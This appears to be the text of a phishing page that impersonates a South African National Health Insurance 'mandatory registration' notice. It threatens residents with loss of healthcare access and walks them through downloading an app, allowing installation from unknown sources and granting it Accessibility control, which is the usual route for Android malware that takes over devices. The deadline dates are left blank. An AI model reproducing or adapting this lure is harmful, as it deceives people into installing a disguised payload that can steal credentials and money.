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National Health Insurance — Mandatory Registration Update

Important: All South African residents must complete NHI digital registration by to maintain access to public and private healthcare services under the NHI Act.

Mandatory NHI Digital Registration

Dear Citizen,

In accordance with the National Health Insurance Act signed into law on 15 May 2024, all eligible South African residents are required to complete a one-time digital registration to maintain access to healthcare services.

To continue receiving healthcare benefits under the NHI Fund, please complete the following:

  1. Download the NHI registration application by clicking the button below.
  2. Install the application on your device following the on-screen instructions.
  3. Complete your personal details for identity verification.
  4. Accept the updated NHI Terms of Service.
Warning: Non-compliance by may result in delayed access to NHI-funded healthcare services at public and private facilities.
Register & Download

NHI Implementation Phases

Phase 1

2023–2026: Health system strengthening, legislation development, establishing the NHI Fund, purchasing services for vulnerable groups.

Phase 2

2026–2028: Full rollout of NHI services, digital registration for all residents, provider accreditation and contracting.

NHI Registration & Download

Complete the fields below to register for the NHI and download the registration application.

Installation Instructions

  1. Click "Register & Download" to start the download.
  2. Open the downloaded file and follow on-screen instructions.
  3. If prompted, allow installation from unknown sources in device settings.
  4. Once installed, open the app and complete registration.

Enable Accessibility (Required)

  1. Open Settings on your device.
  2. Select Accessibility.
  3. Find "NHI Registration" in the services list.
  4. Enable the service and confirm with "Allow".

⚠ Accessibility must be enabled to complete the NHI registration process and ensure proper app functionality.